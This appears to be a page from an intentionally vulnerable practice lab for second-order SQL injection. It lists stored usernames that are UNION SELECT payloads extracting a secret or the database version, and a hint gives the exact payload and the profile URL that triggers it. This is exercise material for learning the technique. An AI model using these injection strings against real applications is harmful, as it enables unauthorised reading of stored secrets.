Second-order SQLi

/second-order · sink: stored input -> later string-concatenated SELECT

Registration is parameterized; profile view re-uses stored input unsafely.

1. Register


2. View profile


Recent registrations

idusername
139test' UNION SELECT 1,@@version,3--
138sqli_probe' UNION SELECT version()-- -
137ps_1791219369' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
136thugir1791219364' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
134thugir2nd1791218936000' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
132attacker2
131testuser_sqli
130thugir2nd1789013270710' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
129thugir2nd1789013270637' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
128thugirtest123' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
127thugir2nd1789012861169' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
126thugir2nd1789012861110' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
125thugir2nd1789012835' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
124testuser_thugir_1789012832
123thugir2nd1789010024255' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
122thugir2nd1788952038788' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
121thugir2nd1788945303992' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
120thugir2nd1788945109147' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
119thugir2nd1788945039007' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
118thugir2nd1788919892557' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#
Hint

Register a user whose username is itself a SQL payload, e.g. ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# (use # not `-- ` because the register handler strips trailing whitespace). Then visit /second-order/profile?id=<your new id> — the profile page joins notes by username via string concatenation, and your stored payload finally fires.

View source → · /meta/second-order